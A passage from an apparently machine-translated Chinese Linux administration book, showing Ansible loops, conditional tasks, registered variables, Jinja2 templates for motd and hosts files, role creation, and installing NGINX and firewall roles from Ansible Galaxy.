和密码。 yml 文件 - -`users.yml`文件包含一个只有一个键值对的字典: - -* *键*:`webusers` -* *值*:包含`username`和`comment`元组的列表 - -`passwords.yml`文件包含一个包含多个键值对的嵌套字典,如下所示: - -* *键*:``(如`webuser`、`webadmin`等) -* *Value*:带有`password``: `键值对的嵌套字典 - -您可以使用`ansible-vault edit`命令更新`passwords.yml`文件。 或者,您可以从头创建文件,然后按照前面在*Working with secrets*一节中描述的步骤对其进行加密。 - -`create-users.yml`剧本文件有以下实现: - -![Figure 15.40 – The create-users.yml playbook](img/B13196_15_40.jpg) - -图 15.40 - create-users。 yml 剧本 - -这些文件也可以在本书的 GitHub 存储库的相关章节文件夹中找到。 让我们快速浏览一下剧本的实现。 我们有三个任务: - -* **加载 web 用户**(第 6-9 行):从`users.yml`文件中读取 web 用户信息,并将相关值存储在`users`字典中。 -* **加载密码**(第 10-13 行):从加密的`passwords.yml`文件中读取密码,并将相应的值存储在`passwords`字典中。 -* **创建用户帐户**(第 14-21 行):遍历`users.webusers`列表,并为每个`item`创建一个具有相关参数的用户帐户; 该任务基于`item.username`在`passwords`字典中执行密码查找。 - -使用以下命令运行剧本: - -```sh -ansible-playbook create-users.yml -``` - -输出: - -![Figure 15.41 – Running the create-users.yml playbook](img/B13196_15_41.jpg) - -图 15.41 -运行 create-users yml 剧本 - -我们可以看到以下工作中的剧本任务: - -* **收集事实**:发现被管理主机及相关系统变量(事实); 我们将在本章后面介绍安斯贝尔事实。 -* **加载用户**:从`users.yml`文件中读取用户。 -* **加载密码**:从加密的`passwords.yml`文件中读取密码。 -* **创建用户账号**:创建用户的任务迭代循环。 - -您可以使用前面在*Working with secrets*一节中介绍的方法来验证新用户帐户。 作为练习,使用与`create-users`剧本相似的实现创建`delete-users.yml`剧本。 - -有关循环的更多信息,您可以参考相关的在线文档[https://docs.ansible.com/ansible/latest/user_guide/playbooks_loops.html](https://docs.ansible.com/ansible/latest/user_guide/playbooks_loops.html)。 - -现在,让我们看看如何改进我们的剧本,并重用它来无缝地在库存中的所有主机、web 服务器和数据库中创建用户。 我们将使用条件任务来完成此功能。 - -### 运行条件的任务 - -Ansible 剧本中的条件**条件**根据条件(或状态)决定什么时候运行任务。 此条件可以是一个**变量**、**事实**或前一个任务的**结果**的值。 Ansible 使用`when`任务级指令来定义一个条件。 - -我们学习了变量以及如何在剧本中使用它们。 事实和结果本质上是特定类型和用途的变量。 我们将在条件任务的背景下研究每一个变量。 让我们先从事实开始吧。 - -#### 使用 Ansible 事实 - -**事实**是变量,它们提供关于*远程*被管理主机的特定信息。 事实变量名以`ansible_`前缀开头。 - -以下是一些可证实的事实: - -* `ansible_distribution`:OS 分布(例如`CentOS`或`Ubuntu`) -* `ansible_all_ipv4_addresses`:IPv4 地址 -* `ansible_architecture`:平台架构(例如`x86_64`或`i386`) -* `ansible_processor_cores`:CPU 核数 -* `ansible_memfree_mb`:可用内存(MB) - -您可能还记得我们在*使用特定平台的包管理器*一节中使用的临时命令,用于在我们的目录中的 Ubuntu 和 RHEL/CentOS 机器上安装最新的更新。 让我们来看看这些临时命令。 - -你可以用下面的命令更新 Ubuntu 主机: - -```sh -ansible -m apt -a "upgrade=dist update_cache=yes" ubuntu -``` - -使用如下命令更新 RHEL/CentOS 主机: - -```sh -ansible -m yum -a "name=* state=latest update_cache=yes" centos -``` - -在这两个命令中,我们针对相关的主机组`ubuntu`和`centos`。 现在,如果我们没有为在 Ubuntu 和 CentOS 系统中对主机进行分类而明确创建的组呢? 在本例中,我们可以*收集*有关托管主机的事实,检测它们的 OS 类型,并根据底层平台执行条件更新任务。 让我们使用 Ansible 事实在剧本中实现这个功能。 - -我们将剧本命名为`install-updates.yml`,并添加以下内容: - -![Figure 15.42 – The install-updates.yml playbook](img/B13196_15_42.jpg) - -图 15.42 -安装更新 yml 剧本 - -该剧本针对所有主机,并基于`ansible_distribution`事实有两个条件任务: - -* **安装 CentOS 系统更新**(第 7-9 行):仅在 CentOS 主机上基于`ansible_distribution == "CentOS"`条件运行(第 9 行) -* **Install Ubuntu system updates**(第 11-13 行):只在 Ubuntu 主机上运行`ansible_distribution == "Ubuntu"`条件(第 13 行) - -让我们运行我们的剧本: - -```sh -ansible-playbook install-updates.yml -``` - -下面是相应的输出: - -![Figure 15.43 – Running conditional tasks](img/B13196_15_43.jpg) - -图 15.43 -运行条件任务 - -上面的输出说明了三个任务: - -* **收集事实**:剧本执行的默认发现任务,用于收集关于远程主机的事实 -* **Install CentOS system updates**:跳过所有 Ubuntu 主机(`web1`,`db1`),在 CentOS 主机(`web2`,`db2`)上运行的条件任务 -* **Install Ubuntu system updates**:跳过所有 CentOS 主机(`web2`,`db2`),在 Ubuntu 主机(`web1`,`db1`)上运行 - -接下来,我们将看看如何在条件任务中使用 Ansible 的特定于环境的变量。 - -### 使用魔法的变量 - -**Magic 变量**描述本地 Ansible 环境及其相关配置数据。 以下是一些神奇变量的例子: - -* `ansible_playhosts`:当前播放的活动主机列表 -* `group_names`:当前主机所属的所有组的列表 -* `vars`:包含当前游戏中所有变量的字典 -* `ansible_version`:Ansible 版本 - -为了了解在使用条件任务时神奇变量的作用,我们将进一步改进`create-users`剧本,并在不同的主机组上创建特定的用户组。 到目前为止,剧本只在属于`webservers`组(`web1`,`web2`)的主机上创建用户。 剧本在所有 web 服务器上创建了`webuser`、`webadmin`和`webdev`用户帐户。 如果我们想在所有数据库服务器上创建一个类似的用户组(`dbuser`、`dbadmin`和`dbdev`,该怎么办? - -首先,将新用户帐户和密码分别添加到`users.yml`和`passwords.yml`文件中。 下面是添加数据库用户帐户和密码后的结果: - -![Figure 15.44 – The users.yml and passwords.yml files](img/B13196_15_44.jpg) - -图 15.44 -用户 yml 和密码。 yml 文件 - -注意,您可以使用`ansible-vault edit`命令编辑`passwords.yml`文件。 或者,您可以解密、编辑文件并重新加密它。 现在,让我们用必要的条件任务更新`create-user`剧本,选择性地处理`webusers`和`databases`两组。 更新`create-users.yml`文件,内容如下: - -![Figure 15.45 – The create-users.yml playbook with conditional tasks](img/B13196_15_45.jpg) - -图 15.45 - create-users。 有条件任务的 Yml 剧本 - -以下是与之前版本相比我们所做的基本的改变: - -* 修改第 3 行,`hosts: all`:针对所有主机 -* 添加第 22 行,`when: "'webservers' in group_names"`:有条件地运行 web 用户任务,但只针对属于`webservers`组的主机 -* 将 web 用户任务(第 14-22 行)复制/粘贴到相应的数据库用户任务(第 23-31 行) -* 调整第 30-31 行中的`loop`和`when`子句以使用特定于数据库的变量 - -让我们运行剧本: - -```sh -ansible-playbook create-users.yml -``` - -输出显示 web 用户任务跳过数据库服务器,数据库用户任务跳过 web 服务器,说明 web 用户和数据库用户创建成功: - -![Figure 15.46 – The web and database user tasks running selectively](img/B13196_15_46.jpg) - -图 15.46 - web 和数据库用户任务有选择地运行 - -关于 Ansible 特殊变量(包括 magic 变量)的完整列表,请访问[https://docs.ansible.com/ansible/latest/reference_appendices/special_variables.html](https://docs.ansible.com/ansible/latest/reference_appendices/special_variables.html)。 有关事实和神奇变量的更多信息,请查看在线文档[https://docs.ansible.com/ansible/latest/user_guide/playbooks_vars_facts.html](https://docs.ansible.com/ansible/latest/user_guide/playbooks_vars_facts.html)。 - -接下来,我们将查看用于跟踪任务结果的变量,也称为寄存器变量。 - -#### 使用寄存器变量 - -Ansible 将捕获任务的输出记录在一个称为**的变量**中。 Ansible 使用`register`指令在一个变量中捕获任务的输出。 使用寄存器变量的一个典型示例是收集任务的结果以进行调试。 在更复杂的工作流中,特定的任务可能运行,也可能不运行,这取决于前一个任务的结果。 - -让我们考虑一个假设的用例。 当我们在所有服务器上加载新用户并创建不同的帐户时,我们希望确保用户数量不超过允许的最大数量。 如果达到了限制,我们可以选择启动一个新的服务器,重新分配用户,等等。 让我们先创建一个名为`count-users.yml`的剧本,内容如下: - -![Figure 15.47 – The count-users.yml playbook](img/B13196_15_47.jpg) - -图 15.47 -计数用户 yml 剧本 - -我们在剧本中创建了以下任务: - -* **Count all users**(第 8-10 行):一个使用`shell`模块计数所有用户的任务; 我们通过捕获任务输出来注册`count`变量(第 10 行)。 -* **调试用户数量**(第 11-13 行):一个简单的调试任务,记录用户数量和允许的最大限制(第 13 行)。 -* **Detect limit**(第 14-17 行):当达到限制时运行的条件任务; 任务检查`count`寄存器变量的值,并将其与`max_allowed`变量进行比较(第 17 行)。 - -我们的剧本中的第 17 行需要进一步解释。 这里,我们取寄存器变量的实际标准输出; 即`count.stdout`。 按原样,该值将是一个字符串,我们需要将其转换为整数; 即`count.stdout | int`。 然后,将结果数与`max_allowed`进行比较。 让我们只针对`web1`主机运行剧本: - -```sh -ansible-playbook count-users.yml --limit web1 -``` - -输出如下: - -![Figure 15.48 – The conditional task (Detect limit) is executed](img/B13196_15_48.jpg) - -图 15.48 -执行条件任务(Detect limit - -在这里,我们可以看到用户数量为 36,因此超过了最大限制 30。 换句话说,*Detect limit task*按预期运行。 - -现在,让我们编辑`count-users.yml`剧本,将第 6 行更改为以下内容: - -```sh -max_allowed: 50 -``` - -保存并重新运行剧本。 这一次,输出显示跳过了**Detect limit**任务: - -![Figure 15.49 – The conditional task (Detect limit) is skipped](img/B13196_15_49.jpg) - -图 15.49 -跳过条件任务(Detect limit - -欲了解更多关于 Ansible 剧本中的条件任务,请访问[https://docs.ansible.com/ansible/latest/user_guide/playbooks_conditionals.html](https://docs.ansible.com/ansible/latest/user_guide/playbooks_conditionals.html)。 通过将条件任务与 Ansible 的全面事实和特殊变量相结合,我们可以编写非常强大的剧本,并使广泛的系统管理操作自动化。 - -在接下来的章节中,我们将探索其他方法,使我们的剧本更加可重用和通用。 接下来我们将研究动态配置模板。 - -## 使用 Jinja2 使用模板 - -最常见的配置管理任务之一是将文件复制到被管理的主机。 Ansible 提供了用于服务此类任务的`copy`模块。 在 Ansible 剧本中,一个典型的文件复制操作有以下语法: - -```sh -- copy: -    src: motd -    dest: /etc/motd -``` - -复制任务获取源文件(`motd`)并将其复制到远程主机上的目标文件(`/etc/motd`)。 虽然该模型可以将静态文件复制到多个主机,但它不能在这些文件*中实时*处理主机特定的自定义。 例如,一个网络配置文件显示主机的 IP 地址。 试图在所有主机上复制此文件以配置相关网络设置可能导致除一台主机外的所有主机无法访问。 理想情况下,网络配置文件应该有一个用于动态内容(例如,IP 地址)的*占位符*,并根据目标主机相应地调整文件。 - -为了解决这个功能,Ansible 提供了带有**Jinja2**模板引擎的**模板**模块。 Jinja2 在模板中为变量和表达式使用类似 python 的语言构造。 `template`的语法与`copy`非常相似: - -```sh -- template: -    src: motd.j2 -    dest: /etc/motd -``` - -在本例中,源文件为,一个 Jinja2 模板文件(`motd.j2`),具有特定于主机的自定义。 在将文件复制到远程主机之前,Ansible 读取 Jinja2 模板,并用主机特定的数据替换动态内容。 这个过程在 Ansible 控制节点上进行。 - -为了说明 Ansible 模板的一些优点和内部工作方式,我们将使用两个用例,并为每个用例创建一个 Jinja2 模板。 然后,我们将创建并运行相关的剧本,以显示模板的实际效果。 - -下面是我们将在本节中创建的两个模板: - -* *message-of- day*模板:用于向用户显示预定的系统维护消息 -* *hosts 文件*模板:用于在每个系统上生成一个自定义的`/etc/hosts`文件,其中包含其他托管主机的主机名记录 - -让我们从每日消息模板开始。 - -### 创建每日消息模板 - -在我们的导言注释中,我们使用`/etc/motd`(当日消息)文件作为示例。 在 Linux 系统中,当用户登录终端时,会显示该文件的内容。 假设您计划在周四晚上升级您的 web 服务器,并且希望给您的用户一个关于即将到来的停机的友好提醒。 您的`motd`信息可能是这样的: - -```sh -This server will be down for maintenance on Thursday night. -``` - -这条消息没有什么特别之处,并且可以使用简单的`copy`任务轻松部署`motd`文件。 在大多数情况下,这样的消息可能很好,除了偶尔用户可能会混淆这个服务器到底是*。 你也可以考虑美国的周四晚上可能是世界另一边的周五下午,如果公告更具体就好了。* - -也许更好的消息应该在`web1`web 服务器上声明如下: - -```sh -web1 (172.16.191.12) will be down for maintenance on Thursday, April 8, 2021, between 2 - 3 AM (UTC-08:00). -``` - -在`web2`web 服务器上,消息将反映相应的主机名和 IP 地址。 理想情况下,模板应该可以跨多个时区重用,剧本运行在全球分布的 Ansible 控制节点上。 让我们看看如何实现这样一个模板。 我们将假设您当前的工作目录是`~/ansible`。 - -首先,在本地 Ansible 项目目录中创建一个`templates`文件夹: - -```sh -mkdir -p ~/ansible/templates -``` - -Ansible 将在本地目录(我们将在此目录中创建剧本)或`./templates`文件夹中寻找模板文件。 使用您选择的 Linux 编辑器,在`./templates`中创建一个包含以下内容的`motd.j2`文件: - -![Figure 15.50 – The motd.j2 template file](img/B13196_15_50.jpg) - -图 15.50 - motd j2 模板文件 - -注意 Jinja2 语法的一些特殊性: - -* 注释包含在`{# ... #}`中(第 1 行和第 10 行)。 -* 表达式被`{% ... %}`包围(例如,第 2、3、4 行,等等)。 -* 外部变量由`{{ ... }}`引用(例如,第 11 行)。 - -下面是脚本的作用: - -* 第 1-3 行定义用于存储中断时间边界的初始局部变量集:中断的日期(`date`)、开始时间(`start_time`)和结束时间(`end_time`)。 -* 第 6 行定义了起始和结束时间变量的输入日期-时间格式(`fmt`)。 -* 第 7-8 行构建了对应于`start_time`和`end_time`的`datetime`对象。 这些 Python`datetime`对象根据我们的需要在自定义消息中进行了格式化。 -* 第 11 行打印自定义消息,其中包含用户友好的时间输出和两个 Ansible 事实,即显示消息的主机的 FQDN(`ansible_facts.fqdn`)和 IPv4 地址(`ansible_facts.default_ipv4.address`)。 - -现在,让我们创建运行模板的剧本。 我们将剧本命名为`update-motd.yml`,并添加以下内容: - -![Figure 15.51 – The update-motd.yml playbook](img/B13196_15_51.jpg) - -图 15.51 - update-motd。 yml 剧本 - -`template`模块读取并处理`motd.j2`文件(第 8 行),生成相关的动态内容,然后在`/etc/motd`(第 9 行)中以所需的权限(第 10-12 行)将该文件复制到远程主机。 - -现在,我们准备运行我们的剧本: - -```sh -ansible-playbook update-motd.yml -``` - -命令应该成功完成。 您可以立即使用以下命令在任意主机(例如`web1`)上验证`motd`消息: - -```sh -ansible web1 -a "cat /etc/motd" -``` - -上面的命令在`web1`主机上远程运行,显示`/etc/motd`文件的内容: - -![Figure 15.52 – The content of the remote /etc/motd file](img/B13196_15_52.jpg) - -图 15.52 -远程/etc/motd 文件的内容 - -我们也可以通过 SSH 进入任何主机来验证`motd`提示符: - -```sh -ssh packt@web1 -``` - -终端显示如下输出: - -![Figure 15.53 – The motd prompt on the remote host](img/B13196_15_53.jpg) - -图 15.53 -远程主机上的 motd 提示符 - -现在我们知道了如何编写和处理 Ansible 模板,让我们改进`motd.j2`,使其更具可重用性。 我们将*参数化*模板,方法是用从剧本传递的输入变量替换 date 和 time 的硬编码局部变量。 通过这种方式,我们将使我们的模板可以跨多个剧本和不同的输入时间进行重用,以进行维护。 以下是更新后的模板文件(`motd.j2`): - -![Figure 15.54 – The modified motd.j2 template with input variables](img/B13196_15_54.jpg) - -图 15.54 -修改后的 motd 带有输入变量的 J2 模板 - -相关的更改在第 1-2 行中,其中我们使用`date`、`start_time`、`end_time`和`utc`输入变量构建`datetime`对象。 注意*局部*变量-`start_time_`,`end_time_`(后缀为`_`)-与相应的*输入变量*之间的差异; 即`start_time`,`end_time`。 您可以为变量选择任何命名约定,假设它们是兼容 ansible 的。 - -现在,让我们看看修改后的剧本(`update-motd.yml`): - -![Figure 15.55 – The modified update-motd.yml playbook with variables](img/B13196_15_55.jpg) - -图 15.55 -修改后的 update-motd 使用变量的 Yml 剧本 - -相关的更改在第 5-9 行中,我们在其中添加了为`motd.j2`模板提供输入的变量。 运行修改后的剧本应该会产生与前一个实现相同的结果。 我们把相关的练习留给你们。 - -接下来,我们将看看另一个以基于模板的部署为特色的用例:使用组中所有其他服务器的主机记录更新托管主机上的`/etc/hosts`文件。 - -### 创建 hosts 文件模板 - -让我们首先在`./templates`文件夹中创建一个名为`hosts.j2`的新模板文件。 增加以下内容: - -![Figure 15.56 – The hosts.j2 template file](img/B13196_15_56.jpg) - -图 15.56 -主机 j2 模板文件 - -下面是模板脚本的工作方式: - -* 第 3 行添加了一个与`inventory_hostname`Ansible 特殊变量引用的当前主机相对应的`localhost`记录。 -* 第 5-9 行执行一个循环,遍历`groups['all']`列表(特殊变量)引用的库存中的所有主机。 -* 第 6 行检查循环中的当前主机是否与目标主机匹配,如果主机是*不同*,则只执行第 7 行。 -* 第 7 行通过从相关的 Ansible 事实(`hostvars[host].ansible_facts`)中读取当前主机的默认 IPv4 地址(`default_ipv4.address`)来添加一个新的主机记录。 - -现在,让我们创建引用`hosts.j2`模板的`update-hosts.yml`剧本文件。 增加以下内容: - -![Figure 15.57 – The update-hosts.yml playbook file](img/B13196_15_57.jpg) - -图 15.57 -更新主机。 yml 剧本文件 - -这个剧本与`update-motd.yml`非常相似。 第 9 行目标是`/etc/hosts`文件。 准备好剧本和模板文件后,让我们运行以下命令: - -```sh -ansible-playbook update-hosts.yml -``` - -在命令完成后,我们可以使用以下命令在任意主机(例如`web1`)上检查`/etc/hosts`文件: - -```sh -ansible web1 -a "cat /etc/hosts" -``` - -输出显示了预期的主机记录: - -![Figure 15.58 – The auto-generated /etc/hosts file on web1](img/B13196_15_58.jpg) - -图 15.58 - web1 上自动生成的/etc/hosts 文件 - -您还可以 SSH 到其中一个主机(例如,`web1`),并通过名称 ping 任何其他主机(例如,`db2`): - -```sh -ssh packt@web1 -ping db2 -``` - -您应该得到一个成功的 ping 响应: - -![Figure 15.59 – Successful ping by hostname from one host to another](img/B13196_15_59.jpg) - -图 15.59 -通过主机名从一台主机 ping 到另一台主机成功 - -这就是我们对 Ansible 模板的研究。 本节所讨论的主题仅仅触及了 Jinja2 模板的强大特性和多功能性的皮毛。 我们强烈建议您探索相关的在线帮助资源[https://docs.ansible.com/ansible/latest/user_guide/playbooks_templating.html](https://docs.ansible.com/ansible/latest/user_guide/playbooks_templating.html),以及标题中提到的*未来阅读*本章结尾部分。 - -现在,我们将把注意力转向现代配置管理平台的另一个基本特性:为各种系统管理任务共享可重用和灵活的模块。 Ansible 提供了一个高度可访问和可扩展的框架来适应这个功能——Ansible Galaxy 及其角色。 在下一节中,我们将讨论用于自动化重用的角色。 - -## 使用 Ansible Galaxy 的角色 - -通过 Ansible 角色,您可以将您的自动化工作流捆绑到可重用的单元中。 角色本质上是一个包,包含剧本和其他使用变量适应特定配置的资源。 任意剧本将通过提供所需的参数来调用角色,并像运行任何其他任务一样运行它。 从功能上讲,角色封装了一个通用的配置管理行为,使得它可以跨多个项目重用,甚至可以与其他项目共享。 - -以下是使用角色的主要好处: - -* 封装功能提供了独立的封装,可以很容易地与他人共享。 -* 封装还支持关注点的分离:多个 DevOps 和系统管理员可以并行地开发角色。 -* 角色可以使更大的自动化项目更易于管理。 - -让我们描述创建角色的过程,以及如何在示例剧本中使用它。 - -### 创建角色 - -在创建角色时,我们通常遵循以下步骤和实践: - -* 创建或初始化角色目录的结构。 该目录以良好组织的方式包含该角色所需的所有资源。 -* 实现角色的内容。 创建相关的剧本、文件、模板等等。 -* 总是从简单的功能开始到更高级的功能。 在添加更多内容时测试剧本。 -* 使您的实现尽可能一般化。 使用变量公开相关的自定义。 -* 不要在你的剧本或相关文件中储存秘密。 为它们提供输入参数。 -* 创建一个虚拟剧本,用一个简单的剧本运行你的角色。 用这个模拟剧本来测试你的角色。 -* 在设计角色时要考虑用户体验。 如果你认为它会给社区带来价值,那就让它易于使用并与他人分享。 - -一般来说,创建角色包括以下步骤: - -1. 初始化角色目录结构 -2. 编写角色的内容 -3. 测试的作用 - -我们将使用前面在*Using Ansible playbooks 部分*中创建的`create-users.yml`剧本作为创建角色的示例。 在继续下一步之前,让我们在`[defaults]`部分的`ansible.cfg`文件中添加以下一行: - -```sh -roles_path = ~/ansible -``` - -这个配置参数为我们的角色设置默认位置。 - -现在,让我们从初始化角色目录开始。 - -#### 初始化角色目录结构 - -关于角色目录的文件夹结构,Ansible 有一个严格的要求。 目录必须与角色同名; 例如`create-users`。 我们可以手动创建这个目录,也可以使用专门的命令行实用工具来管理角色,称为`ansible-galaxy`。 - -要创建角色目录的框架,运行以下命令: - -```sh -ansible-galaxy init create-users -``` - -该命令以以下消息结束: - -```sh -- Role create-users was created successfully -``` - -可以使用`tree`命令显示目录结构: - -```sh -tree -``` - -您必须使用本地包管理器(`apt`、`yum`等等)手动安装`tree`命令行实用程序。 输出显示了我们的角色的`create-users`目录结构: - -![Figure 15.60 – The create-users role directory](img/B13196_15_60.jpg) - -图 15.60 - create-users 角色目录 - -下面是对每个文件夹和角色目录中对应的 YAML 文件的简要解释: - -* `defaults/main.yml`:角色的默认变量。 它们在所有可用变量中具有最低的优先级,并且可以被任何其他变量覆盖。 -* `files`:角色任务中引用的静态文件。 -* `handlers/main.yml`:角色使用的处理程序。 处理程序是由其他任务触发的任务。 您可以在[https://docs.ansible.com/ansible/latest/user_guide/playbooks_handlers.html](https://docs.ansible.com/ansible/latest/user_guide/playbooks_handlers.html)阅读更多关于处理器的信息。 -* :解释角色的预期目的以及如何使用它。 -* `meta/main.yml`:关于角色的其他信息,例如作者、许可模型、平台以及对其他角色的依赖关系。 -* `tasks/main.yml`:角色扮演的任务。 -* `Templates`:角色引用的模板文件。 -* `tests/test.yml`:测试角色的剧本。 `tests`文件夹还可以包含一个示例`inventory`文件。 -* `vars/main.yml`:角色内部使用的变量。 这些变量具有较高的优先级,不能被更改或覆盖。 - -现在我们已经熟悉了角色目录和相关的资源文件,让我们创建第一个角色。 - -#### 编写角色的内容 - -从先前创建的剧本开始并将其发展成角色是一个常见的实践。 我们将使用在*使用循环*部分中编写的`create-users.yml`剧本作为我们未来角色的样板代码。 我们可以在图 15.40 中看到相关的实现。 该剧本还引用了图 15.39 中*所示的`users.yml`和`passwords.yml`文件。 让我们重构这些文件,使它们更通用。* - -以下是修改后的`users.yml`和`passwords.yml`文件: - -![Figure 15.61 – The modified users.yml and passwords.yml files](img/B13196_15_61.jpg) - -图 15.61 -修改后的用户 yml 和密码。 yml 文件 - -您可能已经注意到,我们重新命名了示例用户帐户,并赋予它们更通用的名称。 我们还将`users.yml`文件中的用户字典键名从`webusers`更改为`list`。 请记住,Ansible 在提供变量的 YAML 文件中需要根级字典条目(键-值对)。 - -让我们看看更新的`create-users.yml`剧本: - -![Figure 15.62 – The modified create-users.yml file](img/B13196_15_62.jpg) - -图 15.62 -修改后的 create-users yml 文件 - -我们对做了以下修改: - -* 我们重新调整了`loop`指令(第 24 行)以读取`users.list`而不是`users.webusers`,因为`users.yml`文件中相关字典键的名称发生了变化。 -* 我们重构了`include_vars`文件引用,在第 11 行和第 15 行中使用变量代替硬编码的文件名。 -* 我们添加了`vars`部分,其中`users_file`和`passwords_file`变量指向相应的 YAML 文件。 - -在剧本中进行了这些更改之后,我们现在已经准备好实现我们的角色了。 查看`create-users`角色目录,如图*图 15.60*所示,我们将执行以下操作: - -* 将`create-users.yml`(第 6-7 行)中的`vars`部分中的变量复制/粘贴到`defaults/main.yml`中。 -* 将`create-users.yml`(第 9-24 行)中的任务复制/粘贴到`tasks/main.yml`中。 确保你保持相对的缩进。 -* 使用角色创建一个简单的剧本。 为您的测试剧本使用`tests/test.yml`文件。 将`users.yml`和`passwords.yml`复制/移动到`tests/`文件夹中。 - -下面的截图捕捉了所有这些变化: - -![Figure 15.63 – The files that we changed in the create-users role directory](img/B13196_15_63.jpg) - -图 15.63 -我们在 create-users 角色目录中更改的文件 - -我们还建议更新`create-users`目录中的`README.md`文件,并说明角色的用途和用法。 您还应该提到拥有具有相关数据结构的`users.yml`和`passwords.yml`文件的需求。 这些文件的名称可以通过`defaults/main.yml`中的`users_file`和`passwords_file`变量来更改。 您还可以提供一些如何使用角色的示例。 我们还创建了一个额外的`test2.yml`剧本,使用一个任务来运行角色: - -![Figure 15.64 – Running a role using a task](img/B13196_15_64.jpg) - -图 15.64 -使用任务运行角色 - -此时,我们已经完成了实现角色所需的更改。 您可以选择删除`create-users`角色目录中的所有空文件夹或未使用的文件夹。 - -现在,让我们来测试一下我们的角色。 - -#### 测试的作用 - -为了测试我们的角色,我们将使用`tests/`文件夹中的剧本,并使用以下命令运行它们: - -```sh -ansible-playbook create-users/tests/test.yml -ansible-playbook create-users/tests/test2.yml -``` - -两个命令都应该成功完成。 您还可以使用第三个剧本(`test3.yml`)进行测试,其中您不需要在运行角色的任务中指定`users_file`和`passwords_file`: - -![Figure 15.65 – Running the role with default variables](img/B13196_15_65.jpg) - -图 15.65 -使用默认变量运行角色 - -下面的命令也应该成功完成: - -```sh -ansible-playbook create-users/tests/test3.yml -``` - -现在,让我们用不同的文件名进行测试。 将`tests/`文件夹中的`users.yml`和`passwords.yml`文件分别复制到`myusers.yml`和`mypasswords.yml`: - -```sh -cp create-users/tests/users.yml create-users/tests/myusers.yml -cp create-users/tests/passwords.yml create-users/tests/mypasswords.yml -``` - -更改`defaults/main.yml`中相应的变量以反映新的文件名: - -```sh -users_file: myusers.yml -passwords_file: mypasswords.yml -``` - -运行`test3.yml`剧本应该成功完成: - -```sh - ansible-playbook create-users/tests/test3.yml -``` - -如果您仍然计划使用`test.yml`和`test2.yml`进行测试,请确保恢复以前的更改。 这些剧本覆盖了剧中的角色变量。 - -现在我们知道了如何创建和使用角色,接下来我们来看看 Ansible Galaxy,这是一个用于管理和共享角色的在线社区。 考虑任何配置管理操作,很有可能您会在 Ansible Galaxy 中找到它的一个角色。 所以,让我们看看如何从 Ansible Galaxy 中选择和检索角色,并在我们的剧本中使用它们。 - -### 引入 Ansible 星系 - -Ansible Galaxy 本质上是一个由专业人士社区编写的关于 Ansible 角色的公共图书馆。 您可以通过[https://galaxy.ansible.com/](https://galaxy.ansible.com/)访问安 sible Galaxy 门户网站。 主页提供了一些有用的链接,比如通用文档、流行主题、社区页面和搜索按钮: - -![Figure 15.66 – The Ansible Galaxy web portal](img/B13196_15_66.jpg) - -图 15.66 - Ansible Galaxy 门户网站 - -让我们点击**Search**按钮并查找特定的角色。 我们将尝试找到一个安装和配置 NGINX 的角色。 搜索非常灵活,支持各种过滤和排序选项。 - -#### 使用 NGINX 角色 - -在搜索的角色标准中输入`nginx`会得到以下最顶端的结果: - -![Figure 15.67 – Searching for NGINX](img/B13196_15_67.jpg) - -图 15.67 -搜索 NGINX - -请注意每个角色的得分和下载次数。 我们将为 NGINX 选择**Official Ansible role**。 相关的**详细信息**页面如下截图: - -![Figure 15.68 – The official Ansible role for NGINX](img/B13196_15_68.jpg) - -图 15.68 - NGINX 的官方 Ansible 角色 - -也许这个页面上最相关的信息是**安装**命令和**GitHub Repo**按钮。 让我们复制安装命令并在我们的终端中运行它。 我们将使用`~/ansible`作为工作目录: - -```sh -ansible-galaxy install nginxinc.nginx -``` - -成功下载角色后,可以立即使用以下命令进行验证: - -```sh -ansible-galaxy list -``` - -在这里,我们可以看到角色(`/home/packt/ansible`)的默认目录,以及在 Ansible 环境中安装的当前角色: - -```sh -# /home/packt/ansible -- create-users, (unknown version) -- nginxinc.nginx, 0.19.1 -``` - -注意我们的*自制*角色,`create-users`,以及我们刚刚下载的 NGINX 角色。 - -我们之前提到 GitHub repo 包含了关于角色的相关信息。 NGINX 角色的相关 GitHub 链接为[https://github.com/nginxinc/ansible-role-nginx](https://github.com/nginxinc/ansible-role-nginx)。 一般来说,你可以通过访问角色的 GitHub 页面找到有价值的信息。 您应该查找角色的变量和使用示例。 我们还可以通过简单地浏览 Ansible 环境中的相关角色目录(例如`~/ansible/nginxinc.nginx`)来推断这些信息,并查看角色的实现细节。 - -通过对角色的 GitHub 页面和实现进行少量研究,我们精心制作了以下`nginx.yml`剧本,在我们的 web 服务器主机上安装 NGINX 服务器: - -![Figure 15.69 – The nginx.yml playbook using the official NGINX role](img/B13196_15_69.jpg) - -图 15.69 - nginx。 使用官方 NGINX 角色的 yml 剧本 - -注意任务使用相关的配置变量运行`nginxinc.nginx`角色。 下面的命令将在我们目录中的所有 web 服务器上安装和配置 NGINX 服务器: - -```sh -ansible-playbook nginx.yml -``` - -我们已经安装并运行了 NGINX web 服务器,但由于限制性的防火墙规则,我们可能还没有在服务器上启用 HTTP 访问。 让我们再次转向 Ansible Galaxy 来寻找一些合适的防火墙角色。 - -#### 使用防火墙角色 - -我们有 Ubuntu 和 RHEL/CentOS 的 web 服务器,所以我们需要这两种口味的防火墙管理器; 即`ufw`和`firewalld`。 这次让我们使用`ansible-galaxy`命令行实用工具来寻找`ufw`角色。 下面的命令在 Ansible Galaxy 存储库中搜索名称中包含`ufw`、描述中包含`configures ufw`的角色: - -```sh -ansible-galaxy search ufw | grep 'configures ufw' -``` - -输出显示了一些结果。 让我们选择其中一个(`weareinteractive.ufw`),并获得一些相关信息: - -```sh -ansible-galaxy info weareinteractive.ufw -``` - -在其他信息中,我们还应该查找`download_count`属性: - -```sh -download_count: 51546 -``` - -事实证明,`weareactive.ufw`角色在我们的发现中拥有最多的下载量。 在 Galaxy web 门户中快速查找该角色也显示了良好的评价,所以我们将使用以下命令安装它: - -```sh -ansible-galaxy install weareinteractive.ufw -``` - -该角色的 GitHub 存储库是[https://github.com/weareinteractive/ansible-ufw](https://github.com/weareinteractive/ansible-ufw),包含如何使用它的信息。 - -使用相同的方法,我们将寻找一个`firewalld`角色。 在搜索时使用 Ansible Galaxy 门户网站可能会让你感觉更舒服。 我们对`firewalld`角色的选择是`flatkey.firewalld`: - -```sh -ansible-galaxy install flatkey.firewalld -``` - -对应的 GitHub 库是[https://github.com/FlatKey/ansible-firewalld-role](https://github.com/FlatKey/ansible-firewalld-role)。 - -有了这些防火墙角色和相关资源,我们为我们的`firewall.yml`剧本提出了以下实现: - -![Figure 15.70 – The firewall.yml playbook with the ufw and firewalld roles](img/B13196_15_70.jpg) - -图 15.70 -防火墙 Yml 剧本与 ufw 